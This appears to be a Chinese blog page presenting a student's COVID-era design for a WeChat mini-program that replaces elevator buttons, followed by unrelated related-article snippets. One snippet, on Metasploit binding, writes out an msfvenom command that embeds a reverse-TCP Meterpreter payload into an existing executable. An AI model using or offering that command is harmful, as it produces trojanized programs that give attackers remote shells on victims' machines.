当前位置: 首页 > news >正文

《软件工程概论》作业一:新冠疫情下软件产品设计

课程说明:《软件工程概论》为浙江科技学院2018级软件工程专业在大二下学期开设的必修课。课程使用《软件工程导论(第6版)》(张海藩等编著,清华大学出版社)作为教材。以《软件设计文档国家标准GBT8567-2006》作为原型,经过教师挑选和精简,布置为课程作业。专业同学组成3人小组,以第十一届中国大学生服务外包创新创业大赛企业命题类的赛题作为选题,进行文档撰写的练习。本人为所在小组的组长。

本作业说明:本次作业要求以新冠疫情作为背景,设计一款软件产品,提交一份包含原型图的设计方案。其中原型图使用Axure绘制。本小组提出的方案名称为:小区电梯实体按钮的软件替代方案(小区电梯按键模拟系统)

本文章说明:本文章根据小组最终作品改编得到。本文章为终稿,若无特殊情况,将不再进行修改。

目录

  • 背景介绍
  • 现状分析
  • 解决方案
    • 概述
    • 硬件配合与环境配合
    • 前台软件概述
    • 软件使用流程

背景介绍

2020年伊始,一场突如其来的新冠肺炎疫情打乱了人们的生活步伐。疫情自武汉爆发,并迅速扩展到全国各地,进而发展为全球范围内的大流行。此次流行疫情的病原体是与SARS冠状病毒同属一族的新型冠状病毒,具有潜伏期长、传染性强的特点,可通过呼吸道飞沫和接触传播。(“接触传播”是指飞沫沉积在物品表面,接触污染手后,再接触口腔、鼻腔、眼睛等黏膜,导致感染。)公共场所中的电梯按钮等公共设施,在日常生活中是频繁接触的对象,因而成为病毒的绝佳传播载体。如何避免此类高危接触行为,已成为疫情防控中一个不容忽视的问题。

现状分析

对于上述问题,物业(而非个人)可以采取以下几个解决方案:

方案概述优点缺点
提供纸巾等介质操作按钮,定期消毒简单有效,实施难度小非强制性,消耗大量纸巾,需要妥善处理废弃物、定期补充,可能有人私吞
派专人常驻电梯内,帮居民操作节约物资,按钮使用人数变得十分有限电梯外按钮无防护,夜班,工作量大,专人需要较强保护
小区门禁卡内写入楼层,电梯安装读卡器利用了原有的硬件,无接触,绿色环保忘带卡、前往其他楼层,无法替代“开门”“关门”按钮
电梯安装声控模块硬件成本低,无接触语音识别通病;说法会产生飞沫
替换为感应电梯按钮无接触,覆盖所有按钮成本高,容易误操作

解决方案

概述

用软件来代替电梯实体按钮,即用户通过操作软件,达到与按下电梯按钮相同的效果。这里的电梯按钮包括电梯轿厢内部的按钮与楼道电梯门外请求“上楼”或“下楼”的按钮,电梯轿厢内部的按钮又包括楼层选择按钮、开/关电梯门按钮和紧急求助按钮。传统的电梯使用场景中,电梯内、外的按钮在按下时发出的信号经过电路处理,统一输入到控制接口中,从而对电梯运行发出控制命令;在本解决方案中,用户操作软件,软件前台将用户命令发送到后台,后台再将命令输入到控制接口。所以,这里的“软件替代方案”包括前台的用户界面和后台与控制接口对接的部分,在本报告中仅阐述前台部分

硬件配合与环境配合

  1. 电梯按钮区域设置屏蔽装置,阻止乘客接触电梯按钮。
  2. 在电梯内外设置小型显示屏(可以与屏蔽装置一体化设计,可以利用电梯内外原有的屏幕)。
  3. 通过各种方式(在屏蔽装置、显示屏或其他显目位置设置提示语,电梯口派遣人员等)引导乘客学习使用软件。

前台软件概述

由于微信用户基数大、微信登录方便快捷等原因,本方案采取微信小程序作为前台软件的载体。用户在使用软件前,需要明确自己的身份定位。身份定位有3种:小区单元楼住户,偶然访客和固定访客(来访频繁且到访楼层固定)。对于小区单元楼住户和固定访客,他们可以在进入程序后,进行微信登录授权,登记自己居住(到访)的楼层,之后每次进入程序都无需选择楼层,程序会自动判断用户的上楼/下楼意图。出于隐私保护需要,用户可以在程序中解除授权,清除登记的楼层信息。对于偶然访客,他们无需授权,但需要手动选择目的楼层。程序中的主要页面如下。

【身份选择页面】小程序加载过程中,自动判断用户的授权状态。若为未授权用户,则进入该页面,让用户选择“住户(固定访客)”或“偶然访客”身份(以下简称“住户”和“访客”身份)。

【访客乘电梯页面】 选择“访客”身份后进入的页面。页面上有电梯状态、电梯按钮模块和身份切换按钮。电梯按钮模块包括楼层选择子模块和 “开门”“关门”“紧急求助”按钮。楼层选择子模块包括楼层选择控件(按钮组或下拉列表等)和“确认”“取消”按钮。用户选择楼层后,点击“确认”,等待电梯将自己运送到目的楼层,在到达之前有一次更改机会(“确认”按钮变为“更改”按钮)。用户点击“取消”按钮,则视阶段跳转到完成页面或将用户运送到下一停靠楼层。电梯到达目的楼层后,若程序未被关闭,则会跳转到完成页面

【住户乘电梯页面】 已授权用户在小程序加载完成之后进入的页面。其布局与访客乘电梯页面类似,不同之处在于:楼层选择控件为文本标签(系统自动判断用户要前往的楼层并显示),只需用户点击“确认”即可,确认之后只可取消,不可更改;如果用户要前往其他楼层,可点击身份切换按钮“访客(本次)”,切换到访客乘电梯页面;页面底部有选项卡组“乘电梯”(处于选定状态)和“个人中心”。

【楼层登记页面】 选择“住户”身份后进入的页面。用户在这个页面登记自己居住(到访)的楼层。登记完成后,进入 住户乘电梯页面

【个人中心页面】住户乘电梯页面点击“个人中心”选项卡进入的页面。用户可以在该页面修改居住(到访)楼层、解除授权等。
在各个页面中,均有一个部分提示当前页面剩余操作时间,如果用户未及时做出操作,程序将跳转到超时提示页面。
在这里插入图片描述

软件使用流程

  1. 乘客使用微信“扫一扫”功能扫描显示屏上的二维码之后,进入小程序。
  2. 用户是否授权?已授权,转步骤2.1;未授权,转步骤2.2。
  • 2.1 系统自动给出目的楼层。要前往其他楼层,点击“访客(本次)”后转步骤2.2.2,否则转步骤3。
  • 2.2 用户选择“住户”或“访客”身份。若选择“住户”身份,转步骤2.2.1;若选择“访客”身份,转步骤2.2.2;
    • 2.2.1 程序请求微信登录授权。授权通过后,用户进行楼层登记,转步骤2.1。若用户拒绝授权,转步骤2.2.2。
    • 2.2.2 用户手动选择目的楼层。要切换到“住户”身份,点击“切换到住户”后转步骤2.2.1,否则转步骤3。
  1. 用户点击“确定”,等待电梯到来。若已经在电梯内,转步骤4。
  2. 用户进入电梯或已经在电梯内,等待电梯将自己送到目的楼层或下一停靠楼层(当用户取消时)。在本阶段,“开门”“关门”“紧急求助”按钮可用。
  3. 用户走出电梯或已经在电梯外,结束。
    注:上述步骤中的跳转和某些判断由系统自动完成;用户在步骤2.1、步骤2.2.2、步骤3、步骤4均可点击“取消”,视情况转步骤4或5;拥有更改机会的用户(见上)在步骤3、步骤4均可点击“更改”;用户在登录后到步骤5之前均可进入“个人中心”,更改居住楼层或解除授权。居住楼层的更改将在下一次乘坐电梯时生效。如果解除授权,视情况转步骤4或5。

相关文章:

《软件工程概论》作业一:新冠疫情下软件产品设计

课程说明:《软件工程概论》为浙江科技学院2018级软件工程专业在大二下学期开设的必修课。课程使用《软件工程导论(第6版)》(张海藩等编著,清华大学出版社)作为教材。以《软件设计文档国家标准GBT8567-2006》…...

大厂出来的人为什么不比你高效?

在最近参加的一个线下聚会上,有人问我:“我们单位有来自阿里、腾讯、华为这些大厂的人,为什么我没觉得他们做事比我们这些没大厂经历的人更有章法和效率?”你别说,这一问所反映的现象,与我在阿里巴巴工作时…...

71.【C语言】动态内存管理(重点)(4)

本文为数据结构打下基础 备注:数据结构需要掌握指针,结构体和动态内存管理 目录 6.常见的动态内存的错误 1.对空指针解引用 2.对动态空间的越界访问 3.对非动态内存空间进行free释放 4.使用free只释放开辟的内存空间的一部分 5.对同一块动态内存多次释放 6.动态开辟的…...

JavaScript 用HTML5约束验证API做表单验证

一、验证属性与通过与否 以下为在表单元素上的可用属性&#xff1a; required<boolean> 必填字段&#xff0c;接受布尔值&#xff0c;默认false pattern<string> 接受正则&#xff0c;用户输入的文本必须满足该正则表单元素对象上有checkValidity()方法&#xff…...

Unity 编辑器多开

开发多人联机的功能时大多数会遇到测试机不方便的问题。想多开同一个项目Uinty又禁止。。。因为在使用Unity Editor打开一个项目时&#xff0c;Unity Editor会在项目目录建立一个Temp目录&#xff0c;同时对里面的一个UnityLockfile文件进行加锁。SO...可以使用以下方法进行多开…...

【Spring Boot React】Spring Boot和React教程 完整版

【Spring Boot & React】Spring Boot和React教程 在B站找到一个不错的SpringBoot和React的学习视频&#xff0c;作者是amigoscode 【Spring Boot & React】Spring Boot和React教程 2023年更新版【Spring Boot React】价值79.9美元&#xff0c;全栈开发&#xff0c;搭…...

Linux中的多线程

Linux线程概念 在一个程序里的一个执行路线就叫做线程&#xff08;thread&#xff09;。更准确的定义是&#xff1a;线程是“一个进程内部的控制序 列” 进程是系统分配资源的基本实体 线程是CPU调度的基本单位 POSIX线程库 创建线程 功能&#xff1a;创建一个新的线程 原…...

《计算机原理与系统结构》学习系列

系列文章目录 一、计算机概要与技术 二、指令&#xff1a;计算机的语言&#xff08;上&#xff09; 三、指令&#xff1a;计算机的语言&#xff08;中&#xff09; 四、指令&#xff1a;计算机的语言&#xff08;下&#xff09; 五、计算机的算数运算&#xff08;上&#…...

征程6 工具链常用工具和 API 整理(含新手示例)

1.引言 征程6 工具链目前已经提供了比较丰富的集成化工具和接口来支持模型的移植和量化部署&#xff0c;本帖将整理常用的工具/接口以及使用示例来供大家参考&#xff0c;相信这篇文章会提升大家对 征程6 工具链的使用理解以及效率。 干货满满&#xff0c;欢迎访问 2.hb_con…...

我有一张图,我怎么让midjourney按照这张图继续生成呢?

使用文字生成图片是一种基本的功能&#xff0c;但是还有一种场景&#xff0c;不是从文字生成图片&#xff0c;而是基于已有的一张图片生成另一张图片&#xff0c;这个时候&#xff0c;就需要以图生图的功能了。 以图生图:image to image generator 以图生图技术让我们见识到…...

MSF捆绑文件

msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe...

01_SQLite

文章目录 ** SQLite 存储各类和数据类型 **** SQLite 五种亲缘类型** SQLite 创建数据表删除数据表插入数据信息从数据表中获取数据&#xff0c;以结果表的形式返回数据&#xff08;结果集&#xff09;updatedistinctorder bygroup byhaving触发器删除一个触发器&#xff08;tr…...

【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】

【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】 一、上篇回顾二、项目准备2.1 准备模板项目2.2 支持计时功能2.3 配置UART4引脚2.4 支持printf重定向到UART42.5 支持printf输出浮点数2.6 支持printf不带\r的换行2.7 支持ccache编译缓存 三、TFLM集成3.1 添加tfli…...

畅阅读小程序|畅阅读系统|基于java的畅阅读系统小程序设计与实现(源码+数据库+文档)

畅阅读系统小程序 目录 基于java的畅阅读系统小程序设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取&#xff1a; 博主介绍&#xff1a;✌️大厂码农|毕设布道师…...

【机器学习(十一)】糖尿病数据集分类预测案例分析—XGBoost分类算法—Sentosa_DSML社区版

文章目录 一、XGBoost算法二、Python代码和Sentosa_DSML社区版算法实现对比(一) 数据读入和统计分析(二)数据预处理(三)模型训练与评估(四)模型可视化 三、总结 一、XGBoost算法 关于集成学习中的XGBoost算法原理&#xff0c;已经进行了介绍与总结&#xff0c;相关内容可参考【…...

二分查找一>寻找峰值

1.题目&#xff1a; 2.解析&#xff1a; 暴力遍历代码&#xff1a;O(N),由于该题数据很少所以可以通过 暴力遍历&#xff1a;O(N),由于该题数据很少所以可以通过int index 0;for(int i 1; i < nums.length-1; i) {//某段区域内一直递增&#xff0c;更新就indexif(nums[i]…...

《Linux从小白到高手》理论篇:深入理解Linux的网络管理

今天继续宅家&#xff0c;闲来无事接着写。本篇详细深入介绍Linux的网络管理。 如你所知&#xff0c;在Linux中一切皆文件。网卡在 Linux 操作系统中用 ethX,是由 0 开始的正整数&#xff0c;比如 eth0、eth1… ethX。而普通猫和ADSL 的接口是 pppX&#xff0c;比如 ppp0 等。 …...

redis数据类型介绍

1. 字符串&#xff08;String&#xff09; 字符串是 Redis 中最基本的数据类型&#xff0c;它可以存储任何形式的字符串&#xff0c;包括文本、数字等。字符串类型的操作非常丰富&#xff0c;比如 SET、GET、INCR&#xff08;自增&#xff09;、DECR&#xff08;自减&#xff0…...

一张照片变换古风写真,Flux如何做到?

前言 解锁图像创作新体验&#xff1a;ComfyUI指南 在AI图像生成领域&#xff0c;ComfyUI 已成为不可忽视的力量。它是基于Stable Diffusion的图像生成工具&#xff0c;提供了一个节点式图形用户界面&#xff08;GUI&#xff09;&#xff0c;让用户可以通过简单的拖拽与配置来…...

医药行业的智能合同审查:大模型与AI赋能合规管理

随着医药行业的快速发展&#xff0c;尤其是在全球化背景下&#xff0c;企业在业务拓展、合作协议签订中需要处理大量复杂的合同。合同不仅是业务的法律保障&#xff0c;更是风险管理的重要工具。医药行业合同审查的复杂性源于其严格的合规性要求&#xff0c;包括与政府机构、研…...

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…...

AI Agent与Agentic AI:原理、应用、挑战与未来展望

文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例&#xff1a;使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例&#xff1a;使用OpenAI GPT-3进…...

深入理解JavaScript设计模式之单例模式

目录 什么是单例模式为什么需要单例模式常见应用场景包括 单例模式实现透明单例模式实现不透明单例模式用代理实现单例模式javaScript中的单例模式使用命名空间使用闭包封装私有变量 惰性单例通用的惰性单例 结语 什么是单例模式 单例模式&#xff08;Singleton Pattern&#…...

html css js网页制作成品——HTML+CSS榴莲商城网页设计(4页)附源码

目录 一、&#x1f468;‍&#x1f393;网站题目 二、✍️网站描述 三、&#x1f4da;网站介绍 四、&#x1f310;网站效果 五、&#x1fa93; 代码实现 &#x1f9f1;HTML 六、&#x1f947; 如何让学习不再盲目 七、&#x1f381;更多干货 一、&#x1f468;‍&#x1f…...

AI病理诊断七剑下天山,医疗未来触手可及

一、病理诊断困局&#xff1a;刀尖上的医学艺术 1.1 金标准背后的隐痛 病理诊断被誉为"诊断的诊断"&#xff0c;医生需通过显微镜观察组织切片&#xff0c;在细胞迷宫中捕捉癌变信号。某省病理质控报告显示&#xff0c;基层医院误诊率达12%-15%&#xff0c;专家会诊…...

Yolov8 目标检测蒸馏学习记录

yolov8系列模型蒸馏基本流程&#xff0c;代码下载&#xff1a;这里本人提交了一个demo:djdll/Yolov8_Distillation: Yolov8轻量化_蒸馏代码实现 在轻量化模型设计中&#xff0c;**知识蒸馏&#xff08;Knowledge Distillation&#xff09;**被广泛应用&#xff0c;作为提升模型…...

【Nginx】使用 Nginx+Lua 实现基于 IP 的访问频率限制

使用 NginxLua 实现基于 IP 的访问频率限制 在高并发场景下&#xff0c;限制某个 IP 的访问频率是非常重要的&#xff0c;可以有效防止恶意攻击或错误配置导致的服务宕机。以下是一个详细的实现方案&#xff0c;使用 Nginx 和 Lua 脚本结合 Redis 来实现基于 IP 的访问频率限制…...

【Android】Android 开发 ADB 常用指令

查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...

LOOI机器人的技术实现解析:从手势识别到边缘检测

LOOI机器人作为一款创新的AI硬件产品&#xff0c;通过将智能手机转变为具有情感交互能力的桌面机器人&#xff0c;展示了前沿AI技术与传统硬件设计的完美结合。作为AI与玩具领域的专家&#xff0c;我将全面解析LOOI的技术实现架构&#xff0c;特别是其手势识别、物体识别和环境…...

Oracle11g安装包

Oracle 11g安装包 适用于windows系统&#xff0c;64位 下载路径 oracle 11g 安装包...